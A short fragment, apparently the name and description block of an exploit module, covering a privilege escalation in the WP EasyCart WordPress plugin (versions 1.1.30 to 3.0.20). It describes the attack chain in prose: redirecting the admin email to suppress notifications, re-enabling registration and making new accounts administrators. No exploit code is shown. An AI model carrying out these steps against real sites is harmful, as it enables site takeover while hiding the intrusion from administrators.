name: 'EasyCart Plugin Privilege Escalation',
desc: %(
The WordPress WP EasyCart plugin from version 1.1.30 to 3.0.20
allows authenticated users of any user level to set any system
option via a lack of validation in the ec_ajax_update_option and
ec_ajax_clear_all_taxrates functions located in /inc/admin/admin_ajax_functions.php.
The module first changes the admin e-mail address to prevent any
notifications being sent to the actual administrator during the
attack, re-enables user registration in case it has been disabled
and sets the default role to be administrator. This will allow
for the user to create a new account with admin privileges via
the default registration page found at /wp-login.php?action=register.
